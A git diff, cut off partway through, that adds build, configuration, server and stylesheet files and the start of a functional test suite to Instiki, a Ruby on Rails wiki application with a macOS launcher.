+ fileRef = 63B86D2F0673A5D300807E13; + isa = PBXBuildFile; + settings = { + }; + }; +//630 +//631 +//632 +//633 +//634 +//8D0 +//8D1 +//8D2 +//8D3 +//8D4 + 8D1107260486CEB800E47090 = { + buildPhases = ( + 8D1107270486CEB800E47090, + 8D1107290486CEB800E47090, + 8D11072C0486CEB800E47090, + 8D11072E0486CEB800E47090, + 17F6C3A90662960F007E0BD0, + 63B86D0F0673A53100807E13, + ); + buildRules = ( + ); + buildSettings = { + FRAMEWORK_SEARCH_PATHS = ""; + GCC_ENABLE_TRIGRAPHS = NO; + GCC_GENERATE_DEBUGGING_SYMBOLS = NO; + GCC_PRECOMPILE_PREFIX_HEADER = YES; + GCC_PREFIX_HEADER = Instiki_Prefix.pch; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = NO; + GCC_WARN_FOUR_CHARACTER_CONSTANTS = NO; + GCC_WARN_UNKNOWN_PRAGMAS = NO; + HEADER_SEARCH_PATHS = ""; + INFOPLIST_FILE = Info.plist; + INSTALL_PATH = "$(HOME)/Applications"; + LIBRARY_SEARCH_PATHS = ""; + OTHER_CFLAGS = ""; + OTHER_LDFLAGS = ""; + PRODUCT_NAME = Instiki; + SECTORDER_FLAGS = ""; + WARNING_CFLAGS = "-Wmost -Wno-four-char-constants -Wno-unknown-pragmas"; + WRAPPER_EXTENSION = app; + }; + dependencies = ( + ); + isa = PBXNativeTarget; + name = Instiki; + productInstallPath = "$(HOME)/Applications"; + productName = Instiki; + productReference = 8D1107320486CEB800E47090; + productType = "com.apple.product-type.application"; + }; + 8D1107270486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D1107280486CEB800E47090, + 174B2768065CE31400ED6208, + ); + isa = PBXHeadersBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D1107280486CEB800E47090 = { + fileRef = 32CA4F630368D1EE00C91783; + isa = PBXBuildFile; + settings = { + }; + }; + 8D1107290486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072A0486CEB800E47090, + 8D11072B0486CEB800E47090, + 17C1C5CE065D3A3C003526E7, + 17F6C11206629574007E0BD0, + ); + isa = PBXResourcesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072A0486CEB800E47090 = { + fileRef = 29B97318FDCFA39411CA2CEA; + isa = PBXBuildFile; + settings = { + }; + }; + 8D11072B0486CEB800E47090 = { + fileRef = 089C165CFE840E0CC02AAC07; + isa = PBXBuildFile; + settings = { + }; + }; + 8D11072C0486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072D0486CEB800E47090, + 174B2767065CE31400ED6208, + ); + isa = PBXSourcesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072D0486CEB800E47090 = { + fileRef = 29B97316FDCFA39411CA2CEA; + isa = PBXBuildFile; + settings = { + ATTRIBUTES = ( + ); + }; + }; + 8D11072E0486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072F0486CEB800E47090, + ); + isa = PBXFrameworksBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072F0486CEB800E47090 = { + fileRef = 1058C7A1FEA54F0111CA2CBB; + isa = PBXBuildFile; + settings = { + }; + }; + 8D1107310486CEB800E47090 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.plist; + path = Info.plist; + refType = 4; + sourceTree = ""; + }; + 8D1107320486CEB800E47090 = { + explicitFileType = wrapper.application; + includeInIndex = 0; + isa = PBXFileReference; + path = Instiki.app; + refType = 3; + sourceTree = BUILT_PRODUCTS_DIR; + }; + }; + rootObject = 29B97313FDCFA39411CA2CEA; +} diff --git a/natives/osx/desktop_launcher/Instiki_Prefix.pch b/natives/osx/desktop_launcher/Instiki_Prefix.pch new file mode 100755 index 00000000..93c4f875 --- /dev/null +++ b/natives/osx/desktop_launcher/Instiki_Prefix.pch @@ -0,0 +1,7 @@ +// +// Prefix header for all source files of the 'Instiki' target in the 'Instiki' project +// + +#ifdef __OBJC__ + #import +#endif diff --git a/natives/osx/desktop_launcher/MakeDMG.sh b/natives/osx/desktop_launcher/MakeDMG.sh new file mode 100755 index 00000000..2050cdce --- /dev/null +++ b/natives/osx/desktop_launcher/MakeDMG.sh @@ -0,0 +1,9 @@ +#!/bin/sh + +hdiutil create -size 12m -fs HFS+ -volname Instiki -ov /tmp/Instiki_12MB.dmg +hdiutil mount /tmp/Instiki_12MB.dmg +# strip ~/ruby/instiki/natives/osx/build/Instiki.app/Contents/MacOS/Instiki +ditto ~/ruby/instiki/natives/osx/desktop_launcher/build/Instiki.app /Volumes/Instiki/Instiki.app +hdiutil unmount /Volumes/Instiki +hdiutil convert -format UDZO -o /tmp/Instiki.dmg /tmp/Instiki_12MB.dmg +hdiutil internet-enable -yes /tmp/Instiki.dmg diff --git a/natives/osx/desktop_launcher/main.mm b/natives/osx/desktop_launcher/main.mm new file mode 100755 index 00000000..586ba12c --- /dev/null +++ b/natives/osx/desktop_launcher/main.mm @@ -0,0 +1,14 @@ +// +// main.mm +// Instiki +// +// Created by Allan Odgaard on Thu May 20 2004. +// Copyright (c) 2004 MacroMates. All rights reserved. +// + +#import + +int main (int argc, char const* argv[]) +{ + return NSApplicationMain(argc, argv); +} diff --git a/natives/osx/desktop_launcher/version.plist b/natives/osx/desktop_launcher/version.plist new file mode 100755 index 00000000..5b7d8625 --- /dev/null +++ b/natives/osx/desktop_launcher/version.plist @@ -0,0 +1,16 @@ + + + + + BuildVersion + 17 + CFBundleShortVersionString + 0.1 + CFBundleVersion + 0.1 + ProjectName + NibPBTemplates + SourceVersion + 1150000 + + diff --git a/public/.htaccess b/public/.htaccess new file mode 100644 index 00000000..da3851df --- /dev/null +++ b/public/.htaccess @@ -0,0 +1,29 @@ +# General Apache options +AddHandler fastcgi-script .fcgi +AddHandler cgi-script .cgi +Options +FollowSymLinks +ExecCGI + +# Make sure that mod_ruby.c has been added and loaded as a module with Apache +RewriteEngine On + +# Change extension from .cgi to .fcgi to switch to FCGI and to .rb to switch to mod_ruby +RewriteBase /dispatch.cgi + +# Enable this rewrite rule to point to the controller/action that should serve root. +# RewriteRule ^$ /wiki/ [R] + +# Add missing slash +RewriteRule ^([-_a-zA-Z0-9]+)$ /$1/ [R] + +# Default rewriting rules. +RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([0-9]+)$ ?controller=$1&action=$2&id=$3 [QSA,L] +RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)$ ?controller=$1&action=$2 [QSA,L] +RewriteRule ^([-_a-zA-Z0-9]+)/$ ?controller=$1&action=index [QSA,L] + +RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([0-9]+)$ ?module=$1&controller=$2&action=$3&id=$4 [QSA,L] +RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)$ ?module=$1&controller=$2&action=$3 [QSA,L] +RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/$ ?module=$1&controller=$2&action=index [QSA,L] + +# You can also point these error messages to a controller/action +ErrorDocument 500 /500.html +ErrorDocument 404 /404.html diff --git a/public/404.html b/public/404.html new file mode 100644 index 00000000..481ce4ff --- /dev/null +++ b/public/404.html @@ -0,0 +1,6 @@ + + +

      File not found

      +

      HTTP 404

      + + diff --git a/public/500.html b/public/500.html new file mode 100644 index 00000000..36d64f7a --- /dev/null +++ b/public/500.html @@ -0,0 +1,6 @@ + + +

      Application error

      +

      HTTP 500

      + + \ No newline at end of file diff --git a/public/dispatch.rb b/public/dispatch.rb new file mode 100755 index 00000000..beaa9771 --- /dev/null +++ b/public/dispatch.rb @@ -0,0 +1,11 @@ +#!/usr/bin/ruby + +require File.dirname(__FILE__) + '/../config/environment' unless defined?(RAILS_ROOT) + +# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, +# like: "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" +# -- otherwise performance is severely impaired +require 'dispatcher' + +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } +Dispatcher.dispatch diff --git a/public/images/.images_go_here b/public/images/.images_go_here new file mode 100755 index 00000000..e69de29b diff --git a/public/javascripts/.java_script_files_go_here b/public/javascripts/.java_script_files_go_here new file mode 100755 index 00000000..e69de29b diff --git a/public/stylesheets/.CSS_stylesheets_go_here b/public/stylesheets/.CSS_stylesheets_go_here new file mode 100755 index 00000000..e69de29b diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css new file mode 100755 index 00000000..067ed43e --- /dev/null +++ b/public/stylesheets/instiki.css @@ -0,0 +1,199 @@ +#Container { + float: none; + margin: 0 auto; + text-align: center; +} + +#Content { + margin: 0; + padding: 5px; + text-align: left; + border-top: none; + float: left; +} + +body { background-color: #fff; color: #333; } + +body, p, ol, ul, td { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; +} + +a { color: #000; } + +.newWikiWord { background-color: #eee; } +.newWikiWord a:hover { background-color: white; } + +a:visited { color: #666; } +a:hover { color: #fff; background-color:#000; } + +/* a.edit:link, a.edit:visited { color: #DA0006; } */ + + +h1, h2, h3 { color: #333; font-family: georgia, verdana; } +h1 { font-size: 28px } +h2 { font-size: 19px } +h3 { font-size: 16px } + +h1#pageName { + margin: 5px 0px 0px 0px; + padding: 0px 0px 0px 0px; + line-height: 28px; +} + +h1#pageName small { + color: grey; + line-height: 10px; + font-size: 10px; + padding: 0px; +} + +a.nav, a.nav:link, a.nav:visited { color: #000; } +a.nav:hover { color: #fff; background-color:#000; } + +li { margin-bottom: 7px } + +.navigation { + margin-top: 5px; + font-size : 12px; + color: #999; +} + +.navigation a:hover { color: #fff; background-color:#000; } + +.navigation a { + font-size: 11px; + color: black; + font-weight: bold; +} + +.navigation small a { + font-weight: normal; + font-size: 11px; +} + +.navOn{ + font-size: 11px; + color: grey; + font-weight: bold; + text-decoration: none; +} + +.help { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 11px; +} + +.inputBox { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 11px; + background-color: #eee; + padding: 5px; + margin-bottom: 20px; +} + +blockquote { + display: block; + margin: 0px 0px 20px 0px; + padding: 0px 30px; + font-size:11px; + line-height:17px; + font-style: italic; +} + +pre { + background-color: #eee; + padding: 10px; + font-size: 11px; +} + +ol.setup { + font-size: 19px; + font-family: georgia, verdana; + padding-left: 25px; +} + +ol.setup li { + margin-bottom: 20px +} + +.byline { + font-size: 10px; + font-style: italic; + margin-bottom: 10px; + color: #999; +} + +.references { + font-size: 10px; +} + +.diffdel { + background: pink; +} + +.diffins { + background: lightgreen; +} + +#TextileHelp table { + margin-bottom: 0; +} + +#TextileHelp table+h3 { + margin-top: 11px; +} + +#TextileHelp table td { + font-size: 11px; + padding: 3px; + vertical-align: top; + border-top: 1px dotted #ccc; +} + +#TextileHelp table td.arrow { + padding-right: 5px; + padding-left: 10px; + color: #999; +} + +#TextileHelp table td.label { + font-weight: bold; + white-space: nowrap; + font-size: 10px; + padding-right: 15px; + color: #000; +} + +#TextileHelp h3 { + font-size: 11px; + font-weight: bold; + font-weight: normal; + margin: 0 0 5px 0; + padding: 5px 0 0 0; +} + +#TextileHelp p { + font-size: 10px; +} + +.rightHandSide { + float: right; + width: 147px; + margin-left: 10px; + padding-left: 20px; + border-left: 1px dotted #ccc; +} + +.rightHandSide p { + font-size: 10px; +} + +.newsList { + margin-top: 20px; +} + +.newsList p { + margin-bottom:30px +} \ No newline at end of file diff --git a/rakefile.rb b/rakefile.rb new file mode 100755 index 00000000..72743186 --- /dev/null +++ b/rakefile.rb @@ -0,0 +1,79 @@ +begin + require 'rubygems' + require 'rake/gempackagetask' +rescue Exception + nil +end + +ENV['RAILS_ENV'] = 'test' +require 'config/environment' + +require 'rake' +require 'rake/clean' +require 'rake/testtask' +require 'rake/rdoctask' +require 'rake/packagetask' +require 'rake/contrib/rubyforgepublisher' +require 'code_statistics' + +desc 'Default Task' +task :default => :test + +CLEAN << 'pkg' << 'storage/2500' << 'doc' << 'html' + +# Run the unit tests +Rake::TestTask.new { |t| + t.libs << 'libraries' + t.libs << 'app/models' + t.libs << 'vendor/bluecloth-1.0.0/lib' + t.libs << 'vendor/madeleine-0.7.1/lib' + t.libs << 'vendor/redcloth-2.0.11/lib' + t.libs << 'vendor/rubyzip-0.5.6' + t.pattern = 'test/**/*_test.rb' + t.verbose = true +} + +if defined? GemPackageTask + gemspec = eval(File.read('instiki.gemspec')) + Rake::GemPackageTask.new(gemspec) do |p| + p.gem_spec = gemspec + p.need_tar = true + p.need_zip = true + end + +# PKG_VERSION is defined in instiki.gemspec + Rake::PackageTask.new("instiki", gemspec.version) do |p| + p.need_tar = true + p.need_zip = true + # the list of glob expressions for files comes from instiki.gemspec + p.package_files.include($__instiki_source_patterns) + end + +# Create a task to build the RDOC documentation tree. + rd = Rake::RDocTask.new("rdoc") { |rdoc| + rdoc.rdoc_dir = 'html' + rdoc.title = 'Instiki -- The Wiki' + rdoc.options << '--line-numbers --inline-source --main README' + rdoc.rdoc_files.include(gemspec.files) + rdoc.main = 'README' + } +else + puts "Warning: without Rubygems packaging tasks are not available" +end + +desc "Publish RDOC to RubyForge" +task :rubyforge => [:rdoc, :package] do + Rake::RubyForgePublisher.new('instiki', 'alexeyv').upload +end + +desc "Report code statistics (KLOCs, etc)" +task :stats do + CodeStatistics.new( + ["Helpers", "app/helpers"], + ["Controllers", "app/controllers"], + ["Functionals", "test/functional"], + ["Models", "app/models"], + ["Units", "test/unit"], + ["Libraries", "libraries"] + ).to_s +end diff --git a/script/breakpointer b/script/breakpointer new file mode 100755 index 00000000..9f17b113 --- /dev/null +++ b/script/breakpointer @@ -0,0 +1,35 @@ +#!/usr/local/bin/ruby + +RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/..') + +# Model subdirectories. +ADDITIONAL_LOAD_PATHS = Dir["#{RAILS_ROOT}/app/models/[_a-z]*"] + +# Followed by the standard includes. +ADDITIONAL_LOAD_PATHS.concat %w( + app + app/models + app/controllers + app/helpers + config + libraries +).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" } + +ADDITIONAL_LOAD_PATHS.concat %w( + vendor/bluecloth-1.0.0/lib + vendor/madeleine-0.7.1/lib + vendor/redcloth-2.0.11/lib + vendor/rubyzip-0.5.6 + vendor/actionpack/lib + vendor/activesupport/lib + vendor/railties/lib +).map { |dir| + "#{File.expand_path(File.join(RAILS_ROOT, dir))}" +}.delete_if { |dir| + puts dir + not File.exist?(dir) } + +# Prepend to $LOAD_PATH +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } + +require 'breakpoint_client' diff --git a/script/server b/script/server new file mode 100755 index 00000000..9667730e --- /dev/null +++ b/script/server @@ -0,0 +1,83 @@ +#!/usr/bin/ruby + +require 'webrick' +require 'optparse' +require 'fileutils' + +pwd = File.expand_path(File.dirname(__FILE__) + "/..") + +OPTIONS = { + + # Overridable options + :port => 2500, + :ip => '127.0.0.1', + :environment => 'production', + :server_root => File.expand_path(File.dirname(__FILE__) + '/../public/'), + :server_type => WEBrick::SimpleServer, + :storage => "#{File.expand_path(FileUtils.pwd)}/storage", +} + +ARGV.options do |opts| + script_name = File.basename($0) + opts.banner = "Usage: ruby #{script_name} [options]" + + opts.separator '' + + opts.on('-p', '--port=port', Integer, + 'Runs Instiki on the specified port.', + 'Default: 2500') { |OPTIONS[:port]| } + opts.on('-b', '--binding=ip', String, + 'Binds Rails to the specified ip.', + 'Default: 127.0.0.1') { |OPTIONS[:ip]| } + opts.on('-i', '--index=controller', String, + 'Specifies an index controller that requests for root will go to (instead of congratulations screen).' + ) { |OPTIONS[:index_controller]| } + opts.on('-e', '--environment=name', String, + 'Specifies the environment to run this server under (test/development/production).', + 'Default: production') { |OPTIONS[:environment]| } + opts.on('-d', '--daemon', + 'Make Rails run as a Daemon (only works if fork is available -- meaning on *nix).' + ) { OPTIONS[:server_type] = WEBrick::Daemon } + opts.on('-s', '--simple', '--simple-server', + '[deprecated] Forces Instiki not to run as a Daemon if fork is available.', + 'Since version 0.10.0 this option is ignored.' + ) { puts "Warning: -s (--simple) option is deprecated. See instiki --help for details." } + opts.on('-t', '--storage=storage', String, + 'Makes Instiki use the specified directory for storage.', + 'Default: ./storage/[port]') { |OPTIONS[:storage]| } + opts.on('-v', '--verbose', + 'Enable debug-level logging' + ) { OPTIONS[:verbose] = true } + + opts.separator '' + + opts.on('-h', '--help', + 'Show this help message.') { puts opts; exit } + + opts.parse! +end + +ENV['RAILS_ENV'] = OPTIONS[:environment] +require File.expand_path(File.dirname(__FILE__) + '/../config/environment') + +if OPTIONS[:verbose] + ActionController::Base.logger.level = Logger::DEBUG +end + +OPTIONS[:index_controller] = 'wiki' +require 'webrick_server' + +if OPTIONS[:environment] == 'production' + storage_path = OPTIONS[:storage] + "/" + OPTIONS[:port].to_s +else + storage_path = OPTIONS[:storage] + "/" + OPTIONS[:environment] + "/" + OPTIONS[:port].to_s +end +FileUtils.mkdir_p(storage_path) + +puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" +puts "=> Data files are stored in #{storage_path}" + +require 'application' +WikiService.storage_path = storage_path +ApplicationController.wiki = WikiService.instance +DispatchServlet.dispatch(OPTIONS) diff --git a/storage/.cvsignore b/storage/.cvsignore new file mode 100755 index 00000000..e90e33dc --- /dev/null +++ b/storage/.cvsignore @@ -0,0 +1,5 @@ +2500 +development +test +.cvsignore +*.zip \ No newline at end of file diff --git a/storage/madeleine_snaps_goes_here b/storage/madeleine_snaps_goes_here new file mode 100755 index 00000000..e69de29b diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb new file mode 100755 index 00000000..56998534 --- /dev/null +++ b/test/functional/wiki_controller_test.rb @@ -0,0 +1,587 @@ +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_controller' +require 'rexml/document' + +# Raise errors beyond the default web-based presentation +class WikiController; def rescue_action(e) logger.error(e); raise e end; end + +class WikiControllerTest < Test::Unit::TestCase + + def setup + setup_test_wiki + setup_controller_test + end + + def tear_down + tear_down_wiki + end + + + def test_authenticate + @web.password = 'pswd' + + r = process('authenticate', 'web' => 'wiki1', 'password' => 'pswd') + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['pswd'], r.cookies['web_address'] + end + + def test_authenticate + @web.password = 'pswd' + + r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password') + assert_redirected_to :action => 'login' + assert_nil r.cookies['web_address'] + end + + + def test_authors + setup_wiki_with_three_pages + @wiki.write_page('wiki1', 'BreakSortingOrder', + "This page breaks the accidentally correct sorting order of authors", + Time.now, Author.new('BreakingTheOrder', '127.0.0.2')) + + r = process('authors', 'web' => 'wiki1') + + assert_success + assert_equal ['AnAuthor', 'BreakingTheOrder', 'Guest', 'TreeHugger'], + r.template_objects['authors'] + end + + + def test_cancel_edit + setup_wiki_with_three_pages + @oak.lock(Time.now, 'Locky') + assert @oak.locked?(Time.now) + + r = process('cancel_edit', 'web' => 'wiki1', 'id' => 'Oak') + + assert_redirected_to :action => 'show', :id => 'Oak' + assert !@oak.locked?(Time.now) + end + + + def test_create_system + ApplicationController.wiki = WikiServiceWithNoPersistence.new + assert !@controller.wiki.setup? + + process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', + 'web_address' => 'my_wiki') + + assert_redirected_to :action => 'index' + assert @controller.wiki.setup? + assert_equal 'a_password', @controller.wiki.system[:password] + assert_equal 1, @controller.wiki.webs.size + new_web = @controller.wiki.webs['my_wiki'] + assert_equal 'My Wiki', new_web.name + assert_equal 'my_wiki', new_web.address + end + + def test_create_system_already_setup + wiki_before = @controller.wiki + assert @controller.wiki.setup? + + process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', + 'web_address' => 'my_wiki' + + assert_redirected_to :action => 'index' + assert_equal wiki_before, @controller.wiki + # and no new wikis shuld be created either + assert_equal 1, @controller.wiki.webs.size + end + + + def test_create_web + @wiki.system[:password] = 'pswd' + + process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + wiki2 = @wiki.webs['wiki2'] + assert wiki2 + assert_equal 'Wiki Two', wiki2.name + assert_equal 'wiki2', wiki2.address + end + + def test_create_web_default_password + @wiki.system[:password] = nil + + process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + end + + def test_create_web_failed_authentication + @wiki.system[:password] = 'pswd' + + process 'create_web', 'system_password' => 'wrong', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => nil, :action => 'index' + assert_nil @wiki.webs['wiki2'] + end + + + def test_edit + r = process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' + assert_success + assert_equal @wiki.read_page('wiki1', 'HomePage'), r.template_objects['page'] + end + + def test_edit_page_locked_page + @home.lock(Time.now, 'Locky') + process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' + assert_redirected_to :action => 'locked' + end + + def test_edit_page_break_lock + @home.lock(Time.now, 'Locky') + process 'edit', 'web' => 'wiki1', 'id' => 'HomePage', 'break_lock' => 'y' + assert_success + assert @home.locked?(Time.now) + end + + def test_edit_unknown_page + process 'edit', 'web' => 'wiki1', 'id' => 'UnknownPage', 'break_lock' => 'y' + assert_redirected_to :action => 'index' + end + + + def test_export_html + setup_wiki_with_three_pages + + r = process 'export_html', 'web' => 'wiki1' + + assert_success + assert_equal 'application/zip', r.headers['Content-Type'] + assert_equal 'attachment', r.headers['Content-Disposition'] + # TODO assert contents of the output file + end + + def test_export_markup + r = process 'export_markup', 'web' => 'wiki1' + + assert_success + assert_equal 'application/zip', r.headers['Content-Type'] + assert_equal 'attachment', r.headers['Content-Disposition'] + # TODO assert contents of the output file + end + + + def test_feeds + process('feeds', 'web' => 'wiki1') + end + + def test_index + process('index') + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + end + + def test_index_multiple_webs + @wiki.create_web('Test Wiki 2', 'wiki2') + process('index') + assert_redirected_to :action => 'web_list' + end + + def test_index_multiple_webs_web_explicit + process('index', 'web' => 'wiki2') + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + end + + def test_index_wiki_not_initialized + ApplicationController.wiki = WikiServiceWithNoPersistence.new + process('index') + assert_redirected_to :action => 'new_system' + end + + + def test_list + setup_wiki_with_three_pages + + r = process('list', 'web' => 'wiki1') + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + assert_nil r.template_objects['category'] + assert_equal ['animals', 'trees'], + r.template_objects['category_links'] + assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'] + end + + + def test_locked + @home.lock(Time.now, 'Locky') + r = process('locked', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + assert_equal @home, r.template_objects['page'] + end + + + def test_login + r = process 'login', 'web' => 'wiki1' + assert_success + # this action goes straight to the templates + end + + + def test_new + r = process('new', 'id' => 'NewPage', 'web' => 'wiki1') + assert_success + assert_equal 'AnonymousCoward', r.template_objects['author'] + assert_equal 'NewPage', r.template_objects['page_name'] + end + + + def test_new_system + ApplicationController.wiki = WikiServiceWithNoPersistence.new + process('new_system') + assert_success + end + + def test_new_system_system_already_initialized + assert @wiki.setup? + process('new_system') + assert_redirected_to :action => 'index' + end + + + def test_new_web + @wiki.system['password'] = 'pswd' + process 'new_web' + assert_success + end + + def test_new_web_no_password_set + @wiki.system['password'] = nil + process 'new_web' + assert_redirected_to :action => 'index' + end + + + def test_print + process('print', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + end + + + def test_published + @web.published = true + + r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') + + assert_success + assert_equal @home, r.template_objects['page'] + end + + + def test_published_web_not_published + @web.published = false + + r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') + + assert_redirected_to :action => 'show', :id => 'HomePage' + end + + + def test_recently_revised + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal [], r.template_objects['categories'] + assert_nil r.template_objects['category'] + assert_equal [@home], r.template_objects['pages_in_category'] + assert_equal 'the web', r.template_objects['set_name'] + assert_equal [], r.template_objects['category_links'] + end + + def test_recently_revised_with_categorized_page + page2 = @wiki.write_page('wiki1', 'Page2', + "Page2 contents.\n" + + "category: categorized", + Time.now, Author.new('AnotherAuthor', '127.0.0.2')) + + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal ['categorized'], r.template_objects['categories'] + # no category is specified in params + assert_nil r.template_objects['category'] + assert_equal [@home, page2], r.template_objects['pages_in_category'], + "Pages are not as expected: " + + r.template_objects['pages_in_category'].map {|p| p.name}.inspect + assert_equal 'the web', r.template_objects['set_name'] + assert_equal ['categorized'], + r.template_objects['category_links'] + end + + def test_recently_revised_with_categorized_page_multiple_categories + setup_wiki_with_three_pages + + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + # no category is specified in params + assert_nil r.template_objects['category'] + assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'], + "Pages are not as expected: " + + r.template_objects['pages_in_category'].map {|p| p.name}.inspect + assert_equal 'the web', r.template_objects['set_name'] + assert_equal ['animals', + 'trees'], + r.template_objects['category_links'] + end + + def test_recently_revised_with_specified_category + setup_wiki_with_three_pages + + r = process('recently_revised', 'web' => 'wiki1', 'category' => 'animals') + assert_success + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + # no category is specified in params + assert_equal 'animals', r.template_objects['category'] + assert_equal [@elephant], r.template_objects['pages_in_category'] + assert_equal "category 'animals'", r.template_objects['set_name'] + assert_equal ['animals', 'trees'], + r.template_objects['category_links'] + end + + + def test_remove_orphaned_pages + setup_wiki_with_three_pages + @wiki.system[:password] = 'pswd' + orhan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine', + "Refers to [[Oak]].\n" + + "category: trees", + Time.now, Author.new('TreeHugger', '127.0.0.2')) + + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + + assert_redirected_to :action => 'list' + assert_equal [@home, @oak], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + + + # Oak is now orphan, second pass should remove it + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + assert_redirected_to :action => 'list' + assert_equal [@home], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + + # third pass does not destroy HomePage + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + assert_redirected_to :action => 'list' + assert_equal [@home], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + end + + + def test_revision + r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' + + assert_success + assert_equal @home, r.template_objects['page'] + assert_equal @home.revisions[0], r.template_objects['revision'] + end + + + def test_rollback + # rollback shows a form where a revision can be edited. + # its assigns the same as or revision + r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' + + assert_success + assert_equal @home, r.template_objects['page'] + assert_equal @home.revisions[0], r.template_objects['revision'] + end + + + def test_rss_with_content + setup_wiki_with_three_pages + + r = process 'rss_with_content', 'web' => 'wiki1' + + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal [@home, @oak, @elephant], pages, + "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" + assert !r.template_objects['hide_description'] + end + + + def test_rss_with_headlines + setup_wiki_with_three_pages + + @request.host = 'localhost' + @request.port = 8080 + + r = process 'rss_with_headlines', 'web' => 'wiki1' + + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal [@home, @oak, @elephant], pages, + "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" + assert r.template_objects['hide_description'] + + xml = REXML::Document.new(r.body) + + expected_page_links = + ['http://localhost:8080/wiki1/show/HomePage', + 'http://localhost:8080/wiki1/show/Oak', + 'http://localhost:8080/wiki1/show/Elephant'] + + assert_template_xpath_match '/rss/channel/link', + 'http://localhost:8080/wiki1/show/HomePage' + assert_template_xpath_match '/rss/channel/item/guid', expected_page_links + assert_template_xpath_match '/rss/channel/item/link', expected_page_links + end + + def test_save + r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', + 'author' => 'AuthorOfNewPage' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'NewPage' + assert_equal ['AuthorOfNewPage'], r.cookies['author'].value + new_page = @wiki.read_page('wiki1', 'NewPage') + assert_equal 'Contents of a new page', new_page.content + assert_equal 'AuthorOfNewPage', new_page.author + end + + def test_save_new_revision_of_existing_page + @home.lock(Time.now, 'Batman') + + r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', + 'author' => 'Batman' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['Batman'], r.cookies['author'].value + home_page = @wiki.read_page('wiki1', 'HomePage') + assert_equal [home_page], @web.pages.values + assert_equal 2, home_page.revisions.size + assert_equal 'Revised HomePage', home_page.content + assert_equal 'Batman', home_page.author + assert !home_page.locked?(Time.now) + end + + def test_save_new_revision_of_existing_page + @home.lock(Time.now, 'Batman') + + r = process 'save', 'web' => 